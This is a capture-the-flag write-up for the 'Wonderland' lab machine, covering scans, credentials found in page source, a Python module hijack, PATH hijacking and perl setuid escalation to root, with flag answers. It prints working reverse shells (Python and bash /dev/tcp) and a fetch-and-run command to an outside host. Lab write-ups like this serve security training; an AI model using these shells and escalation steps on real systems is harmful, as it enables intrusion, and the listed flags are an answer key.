

Wonderland



Wonderland

Fall down the rabbit hole and enter wonderland.

writeup

-----user-flag-----

--ran nmap scan and found open ports 22 and 80
--ran gobuster dir scan on port 80 and found /r directory
--after running a couple more gobuster scans on /r, then /r/a, and so on you'll get /r/a/b/b/i/t
--going to /r/a/b/b/i/t and viewing the source code I found credentials:
alice:HowDothTheLittleCrocodileImproveHisShiningTail

--logged into SSH with the credentials and ran **sudo -l** and got:
User alice may run the following commands on wonderland:
(rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

--looked around for a bit and found that the root.txt is in /alice directory, and user.txt is in /root directory. And root can be accessed by alice.

--got flag by running **cat /root/user.txt**:
thm{"Curiouser and curiouser!"}

-----root-flag-----

--from the info given from running **sudo -l**, alice can run the python file as rabbit, using sudo. And it is calling a module called random.py.
--so I created a new random.py file with a reverse shell inside of it:

```
import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.2.27.69",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
os.putenv("HISTFILE", "/dev/null")
p=subprocess.call(["/bin/bash","-i"]);
```

--created a listener with **nc -lvnp 4444**
--ran **sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py** to get a shell as rabbit
--we must now switch to user hatter by using a **bash reverse shell** in the /tmp directory that contains:
#!/bin/bash
bash -i >& /dev/tcp/<YOUR-LOCAL-IP>/8888 0>&1

--name the file **date**
--run **chmod 755 date**
--run **export PATH=/tmp:\$PATH**
--start a listener with **nc -lvnp 8888**
--then run **./home/rabbit/teaParty** to get a shell as hatter
--I noticed a file called password.txt in hatters home directory containing:
WhyIsARavenLikeAWritingDesk?

--to remove all the extra shells I cleared them all and ran **ssh hatter@<IP-address>** to just use one shell
--downloaded **linpeas** using **sudo nc -q 5 -lvnp 80 < linpeas.sh** on local machine, and **cat < /dev/tcp/10.2.27.69/80 | sh** on remote machine
--when investigating linpeas output I noticed a perl binary that runs the setuid command, where we can change the UID to root
--found script to use at this site <https://materials.rangeforce.com/tutorial/2020/02/19/Linux-PrivEsc-Capabilities/> :
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

--ran command **perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'** and got a **root shell**
--ran **cat /home/alice/root.txt** and got flag:
thm{Twinkle, twinkle, little bat! How I wonder what you're at!}

scans

-----nmap-scan-----

PORT STATE SERVICE VERSION

22/tcp open **ssh** **OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)**

| **ssh-hostkey:**

| 2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)

| 256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)

|_ 256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)

80/tcp open **http** **Golang net/http server (Go-IPFS json-rpc or InfluxDB API)**

|_ **http-title:** Follow the white rabbit.

Service Info: OS: **Linux**; CPE: cpe:/o:linux:linux_kernel

-----gobuster-scans-----

gobuster dir -w common-dirs.txt -u http://<IP-address>

/img (Status: 301)

/index.html (Status: 301)

/r (Status: 301)

gobuster dir -w common-dirs.txt -u http://<IP-address>/r

/a (Status: 301)

/index.html (Status: 301)

gobuster dir -w common-dirs.txt -u http://<IP-address>/r/a

/b (Status: 301)

/index.html (Status: 301)

/r/a/b/b/i/t

creds

alice:HowDothTheLittleCrocodileImproveHisShiningTail

hatter:WhyIsARavenLikeAWritingDesk?

[Task 1] Capture the flags

Enter Wonderland and capture the flags.



#1

Obtain the flag in user.txt

```
thm{"Curiouser and curiouser!"}
```

#2

Escalate your privileges, what is the flag in root.txt?

+20 points

```
thm{Twinkle, twinkle, little bat! How I wonder what you're at!}
```